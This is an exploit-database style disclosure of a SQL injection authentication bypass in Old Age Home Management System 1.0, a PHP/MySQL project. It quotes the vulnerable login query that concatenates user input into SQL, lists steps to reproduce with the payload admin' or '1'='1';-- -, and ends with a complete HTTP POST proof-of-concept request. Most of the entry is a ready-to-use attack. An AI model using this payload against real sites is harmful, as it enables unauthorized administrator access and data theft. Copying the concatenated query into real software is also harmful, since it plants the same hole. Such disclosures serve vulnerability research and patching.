Old Age Home Management System 1.0 SQL Injection

`# Exploit Title: Old Age Home Management System 1.0 - SQLi Authentication Bypass  
# Date: 12/06/2022  
# Exploit Author: twseptian  
# Vendor Homepage: https://phpgurukul.com/old-age-home-management-system-using-php-and-mysql/  
# Software Link: https://phpgurukul.com/projects/Old-Age-Home-MS-using-PHP.zip  
# Version: v1.0  
# Tested on: Kali Linux  
  
# Vulnerable code  
line 9 in file "/oahms/admin/login.php"  
$ret=mysqli_query($con,"SELECT ID FROM tbladmin WHERE UserName='$username' and Password='$password'");  
  
# Steps of reproduce:  
1. Go to the admin login page http://localhost/oahms/admin/login.php  
2. sqli payload: admin' or '1'='1';-- -  
3. password: password  
  
# Proof of Concept  
  
POST /oahms/admin/login.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 71  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/oahms/admin/login.php  
Cookie: ci_session=2c1ifme2jrmeeg2nsos66he8g3m1cfgj; PHPSESSID=8vj8hke2pc1h18ek8rq8bmgiqp  
Upgrade-Insecure-Requests: 1  
Sec-Fetch-Dest: document  
Sec-Fetch-Mode: navigate  
Sec-Fetch-Site: same-origin  
Sec-Fetch-User: ?1  
  
username=admin%27+or+%271%27%3D%271%27%3B--+-&password=passwrod&submit=  
  
`